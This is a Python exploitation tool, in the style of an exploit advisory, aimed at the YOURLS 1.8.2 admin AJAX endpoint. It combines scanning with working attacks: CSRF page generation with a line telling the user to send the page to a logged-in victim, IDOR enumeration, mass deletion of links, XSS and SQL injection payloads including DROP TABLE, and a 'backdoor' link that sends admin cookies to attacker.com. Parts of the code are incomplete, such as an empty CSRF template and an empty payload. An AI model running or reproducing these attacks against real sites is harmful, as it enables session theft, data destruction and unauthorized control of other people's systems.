============================================================================================================================================= | # Title : YOURLS 1.8.2 AJAX Endpoint Vulnerabilities | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://github.com/yourls/yourls/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212395/ & CVE-2022-0088 [+] Summary : Critical security vulnerabilities in YOURLS /admin/ajax.php endpoint that allow attackers to perform unauthorized actions, access other users' data, and potentially compromise the entire system. [+] Vulnerabilities: CSRF, IDOR, Missing Authorization, Missing Input Validation [+] POC : python poc.py #!/usr/bin/env python3 """ Author: indoushka """ import requests import json import sys import argparse import hashlib import re from urllib.parse import urljoin from colorama import Fore, Style, init # Initialize colorama init(autoreset=True) class YOURLS_Exploiter: def __init__(self, target_url, session_cookie=None, csrf_token=None): self.base_url = target_url.rstrip('/') self.ajax_url = urljoin(self.base_url, 'admin/ajax.php') self.session = requests.Session() if session_cookie: self.session.headers.update({'Cookie': session_cookie}) self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest', 'Referer': urljoin(self.base_url, 'admin/') }) self.csrf_token = csrf_token self.vulnerabilities = [] def print_banner(self): banner = f""" {Fore.RED}╔══════════════════════════════════════════════════════════════╗ ║ YOURLS AJAX Endpoint Unified Exploitation Tool ║ ║ Multiple Vulnerabilities Exploiter ║ ╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL} """ print(banner) def detect_vulnerabilities(self): """Detect all potential vulnerabilities""" print(f"{Fore.CYAN}[*] Scanning for vulnerabilities...{Style.RESET_ALL}") # Test 1: CSRF Vulnerability self.test_csrf() # Test 2: IDOR Vulnerability self.test_idor() # Test 3: Missing Input Validation self.test_input_validation() # Test 4: Information Disclosure self.test_info_disclosure() # Test 5: SQL Injection self.test_sql_injection() # Print summary self.print_summary() def test_csrf(self): """Test for CSRF vulnerability""" print(f"\n{Fore.YELLOW}[+] Testing CSRF Protection...{Style.RESET_ALL}") # Try to make a request without CSRF token test_data = { 'action': 'add', 'url': 'http://test.com', 'keyword': 'test123', 'nonce': 'dummy_nonce' } try: response = self.session.post(self.ajax_url, data=test_data, timeout=10) if response.status_code == 200: try: resp_json = response.json() if 'status' in resp_json and resp_json['status'] == 'success': print(f"{Fore.RED}[!] CSRF VULNERABLE: Action executed without proper CSRF protection{Style.RESET_ALL}") self.vulnerabilities.append({ 'name': 'CSRF', 'severity': 'High', 'description': 'Actions can be performed without CSRF token validation' }) else: print(f"{Fore.GREEN}[-] CSRF protection appears to be working{Style.RESET_ALL}") except: print(f"{Fore.YELLOW}[-] Could not parse response{Style.RESET_ALL}") except Exception as e: print(f"{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}") def test_idor(self): """Test for Insecure Direct Object Reference""" print(f"\n{Fore.YELLOW}[+] Testing IDOR Vulnerability...{Style.RESET_ALL}") # First, create a link to get a valid ID print(f" Step 1: Creating test link...") create_data = { 'action': 'add', 'url': 'http://victim-test.com', 'keyword': 'victimlink', 'nonce': self.get_nonce('add_url') } try: response = self.session.post(self.ajax_url, data=create_data, timeout=10) if response.status_code == 200: # Try to access other IDs print(f" Step 2: Attempting IDOR enumeration...") for link_id in range(1, 11): test_data = { 'action': 'delete', 'id': link_id, 'keyword': f'test{link_id}', 'nonce': self.get_nonce(f'delete-link_{link_id}') } response = self.session.post(self.ajax_url, data=test_data, timeout=5) if response.status_code == 200: try: resp_json = response.json() if 'success' in resp_json and resp_json['success']: print(f"{Fore.RED}[!] IDOR VULNERABLE: Can delete link ID {link_id}{Style.RESET_ALL}") self.vulnerabilities.append({ 'name': 'IDOR', 'severity': 'High', 'description': f'Can access/delete link ID {link_id} without ownership verification' }) break except: pass except Exception as e: print(f"{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}") def test_input_validation(self): """Test for missing input validation""" print(f"\n{Fore.YELLOW}[+] Testing Input Validation...{Style.RESET_ALL}") # Test XSS in URL field xss_payloads = [ 'javascript:alert(document.cookie)', 'data:text/html,', '" onmouseover="alert(1)"', '' ] for payload in xss_payloads: test_data = { 'action': 'add', 'url': payload, 'keyword': f'xss{hashlib.md5(payload.encode()).hexdigest()[:6]}', 'nonce': self.get_nonce('add_url') } try: response = self.session.post(self.ajax_url, data=test_data, timeout=5) if response.status_code == 200: resp_text = response.text.lower() if 'alert' in resp_text or 'script' in resp_text: print(f"{Fore.RED}[!] XSS VULNERABLE: Payload accepted - {payload[:30]}...{Style.RESET_ALL}") self.vulnerabilities.append({ 'name': 'XSS', 'severity': 'Medium', 'description': f'XSS payload accepted: {payload[:50]}' }) break except: pass # Test SQL Injection sql_payloads = [ "' OR '1'='1", "test'; DROP TABLE yourls_url; --", "1' UNION SELECT 1,2,3,4 --" ] for payload in sql_payloads: test_data = { 'action': 'add', 'url': f'http://{payload}.com', 'keyword': f'sql{hashlib.md5(payload.encode()).hexdigest()[:6]}', 'nonce': self.get_nonce('add_url') } try: response = self.session.post(self.ajax_url, data=test_data, timeout=5) if 'sql' in response.text.lower() or 'union' in response.text.lower(): print(f"{Fore.RED}[!] SQL INJECTION POSSIBLE: Payload triggered response{Style.RESET_ALL}") self.vulnerabilities.append({ 'name': 'SQL Injection', 'severity': 'Critical', 'description': f'SQL payload may be injectable: {payload[:50]}' }) break except: pass def test_info_disclosure(self): """Test for information disclosure""" print(f"\n{Fore.YELLOW}[+] Testing Information Disclosure...{Style.RESET_ALL}") # Try to access error messages test_data = { 'action': 'invalid_action', 'nonce': 'invalid_nonce' } try: response = self.session.post(self.ajax_url, data=test_data, timeout=5) if response.status_code == 200: # Look for error messages that reveal information error_indicators = [ 'mysql', 'database', 'sql', 'query failed', 'on line', 'stack trace', 'fatal error', 'warning:', 'notice:', 'undefined' ] for indicator in error_indicators: if indicator in response.text.lower(): print(f"{Fore.RED}[!] INFO DISCLOSURE: {indicator} found in response{Style.RESET_ALL}") self.vulnerabilities.append({ 'name': 'Information Disclosure', 'severity': 'Low', 'description': f'Sensitive information disclosed: {indicator}' }) break except Exception as e: pass def test_sql_injection(self): """Test for SQL injection vulnerabilities""" print(f"\n{Fore.YELLOW}[+] Testing SQL Injection...{Style.RESET_ALL}") # Time-based SQL injection test time_payloads = [ ("' OR SLEEP(5) --", "MySQL sleep"), ("'; WAITFOR DELAY '00:00:05' --", "MSSQL delay"), ("' AND 1=IF(1=1,SLEEP(5),0) --", "Conditional sleep") ] for payload, description in time_payloads: test_data = { 'action': 'add', 'url': f'http://test{payload}.com', 'keyword': f'time{hashlib.md5(payload.encode()).hexdigest()[:6]}', 'nonce': self.get_nonce('add_url') } try: import time start_time = time.time() response = self.session.post(self.ajax_url, data=test_data, timeout=10) end_time = time.time() if end_time - start_time > 4: print(f"{Fore.RED}[!] BLIND SQL INJECTION: Time-based delay detected ({description}){Style.RESET_ALL}") self.vulnerabilities.append({ 'name': 'Blind SQL Injection', 'severity': 'Critical', 'description': f'Time-based SQLi: {description}' }) break except requests.exceptions.Timeout: print(f"{Fore.RED}[!] BLIND SQL INJECTION: Request timeout ({description}){Style.RESET_ALL}") self.vulnerabilities.append({ 'name': 'Blind SQL Injection', 'severity': 'Critical', 'description': f'Timeout on: {description}' }) break except: pass def get_nonce(self, action): """Extract or generate nonce""" if self.csrf_token: return self.csrf_token # Try to extract nonce from admin page try: admin_url = urljoin(self.base_url, 'admin/') response = self.session.get(admin_url, timeout=5) # Look for nonce in HTML nonce_patterns = [ r'name="nonce" value="([^"]+)"', r'nonce=([a-f0-9]+)', r'nonce:[\'"]([a-f0-9]+)[\'"]' ] for pattern in nonce_patterns: matches = re.search(pattern, response.text, re.IGNORECASE) if matches: return matches.group(1) except: pass # Return dummy nonce for testing return 'test_nonce_123' def print_summary(self): """Print vulnerability summary""" print(f"\n{Fore.CYAN}{'='*60}{Style.RESET_ALL}") print(f"{Fore.CYAN}[*] VULNERABILITY SUMMARY{Style.RESET_ALL}") print(f"{Fore.CYAN}{'='*60}{Style.RESET_ALL}") if not self.vulnerabilities: print(f"{Fore.GREEN}[+] No vulnerabilities detected{Style.RESET_ALL}") return for i, vuln in enumerate(self.vulnerabilities, 1): color = Fore.RED if vuln['severity'] in ['High', 'Critical'] else Fore.YELLOW print(f"{color}[{i}] {vuln['name']} ({vuln['severity']}){Style.RESET_ALL}") print(f" {vuln['description']}") def exploit_csrf(self, target_url, malicious_url, keyword): """Generate CSRF exploit""" print(f"\n{Fore.RED}[*] Generating CSRF Exploit...{Style.RESET_ALL}") exploit_html = f""" YOURLS CSRF Exploit

CSRF Attack - YOURLS Link Addition

If the form doesn't auto-submit, click here.

""" filename = f"csrf_exploit_{keyword}.html" with open(filename, 'w') as f: f.write(exploit_html) print(f"{Fore.GREEN}[+] CSRF exploit saved to: {filename}{Style.RESET_ALL}") print(f"{Fore.YELLOW}[*] Send this file to victim while they're logged into YOURLS{Style.RESET_ALL}") return filename def exploit_idor(self, start_id=1, end_id=100): """Exploit IDOR vulnerability to enumerate links""" print(f"\n{Fore.RED}[*] Exploiting IDOR Vulnerability...{Style.RESET_ALL}") found_links = [] for link_id in range(start_id, end_id + 1): # Try to edit display test_data = { 'action': 'edit_display', 'id': link_id, 'keyword': f'test{link_id}', 'nonce': self.get_nonce(f'edit-link_{link_id}') } try: response = self.session.post(self.ajax_url, data=test_data, timeout=5) if response.status_code == 200: try: resp_json = response.json() if 'html' in resp_json and 'keyword' in resp_json['html'].lower(): print(f"{Fore.GREEN}[+] Found link ID {link_id}{Style.RESET_ALL}") found_links.append({ 'id': link_id, 'html': resp_json['html'][:100] }) except: if 'keyword' in response.text.lower() or 'url' in response.text.lower(): print(f"{Fore.GREEN}[+] Possible link ID {link_id}{Style.RESET_ALL}") found_links.append({ 'id': link_id, 'response': response.text[:100] }) except: pass if found_links: print(f"\n{Fore.GREEN}[+] Found {len(found_links)} accessible links{Style.RESET_ALL}") for link in found_links: print(f" ID {link['id']}: {link.get('html', link.get('response', 'No data'))}") return found_links def mass_link_deletion(self, start_id=1, end_id=50): """Mass deletion via IDOR""" print(f"\n{Fore.RED}[*] Attempting Mass Link Deletion...{Style.RESET_ALL}") deleted = [] for link_id in range(start_id, end_id + 1): test_data = { 'action': 'delete', 'id': link_id, 'keyword': f'del{link_id}', 'nonce': self.get_nonce(f'delete-link_{link_id}') } try: response = self.session.post(self.ajax_url, data=test_data, timeout=3) if response.status_code == 200: try: resp_json = response.json() if 'success' in resp_json and resp_json['success']: print(f"{Fore.RED}[!] Deleted link ID {link_id}{Style.RESET_ALL}") deleted.append(link_id) except: if 'success' in response.text.lower(): print(f"{Fore.RED}[!] Possibly deleted link ID {link_id}{Style.RESET_ALL}") deleted.append(link_id) except: pass return deleted def create_backdoor(self): """Create persistent backdoor via XSS or malicious link""" print(f"\n{Fore.RED}[*] Creating Persistent Backdoor...{Style.RESET_ALL}") # Create malicious shortened link with XSS xss_payload = "javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)" backdoor_data = { 'action': 'add', 'url': xss_payload, 'keyword': 'admin-panel', 'nonce': self.get_nonce('add_url') } try: response = self.session.post(self.ajax_url, data=backdoor_data, timeout=10) if response.status_code == 200: print(f"{Fore.GREEN}[+] Backdoor link created: {self.base_url}/admin-panel{Style.RESET_ALL}") print(f"{Fore.YELLOW}[*] When admin visits this link, cookies will be sent to attacker{Style.RESET_ALL}") except Exception as e: print(f"{Fore.RED}[-] Failed to create backdoor: {str(e)}{Style.RESET_ALL}") def main(): parser = argparse.ArgumentParser( description="YOURLS AJAX Endpoint Exploitation Tool", formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument("-u", "--url", required=True, help="Target YOURLS base URL") parser.add_argument("-c", "--cookie", help="Session cookie (e.g., PHPSESSID=abc123)") parser.add_argument("-t", "--token", help="CSRF/nonce token") parser.add_argument("-s", "--scan", action="store_true", help="Scan for vulnerabilities") parser.add_argument("-x", "--exploit", choices=['csrf', 'idor', 'mass', 'backdoor'], help="Exploit specific vulnerability") parser.add_argument("--csrf-url", help="URL for CSRF exploit (with --exploit csrf)") parser.add_argument("--keyword", help="Custom keyword for links") parser.add_argument("--start-id", type=int, default=1, help="Start ID for IDOR enumeration") parser.add_argument("--end-id", type=int, default=50, help="End ID for IDOR enumeration") args = parser.parse_args() if not args.scan and not args.exploit: print(f"{Fore.RED}[-] Please specify --scan or --exploit{Style.RESET_ALL}") return # Initialize exploiter exploiter = YOURLS_Exploiter(args.url, args.cookie, args.token) exploiter.print_banner() if args.scan: exploiter.detect_vulnerabilities() if args.exploit: if args.exploit == 'csrf': if not args.csrf_url: print(f"{Fore.RED}[-] Please specify --csrf-url for CSRF exploit{Style.RESET_ALL}") return keyword = args.keyword or f"mal_{hashlib.md5(args.csrf_url.encode()).hexdigest()[:8]}" exploiter.exploit_csrf(args.url, args.csrf_url, keyword) elif args.exploit == 'idor': found = exploiter.exploit_idor(args.start_id, args.end_id) if found: print(f"\n{Fore.GREEN}[+] IDOR exploitation complete{Style.RESET_ALL}") elif args.exploit == 'mass': confirm = input(f"{Fore.RED}[!] This will attempt to delete multiple links. Continue? (y/n): {Style.RESET_ALL}") if confirm.lower() == 'y': deleted = exploiter.mass_link_deletion(args.start_id, args.end_id) print(f"\n{Fore.RED}[!] Attempted to delete {len(deleted)} links{Style.RESET_ALL}") elif args.exploit == 'backdoor': exploiter.create_backdoor() if __name__ == "__main__": main() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================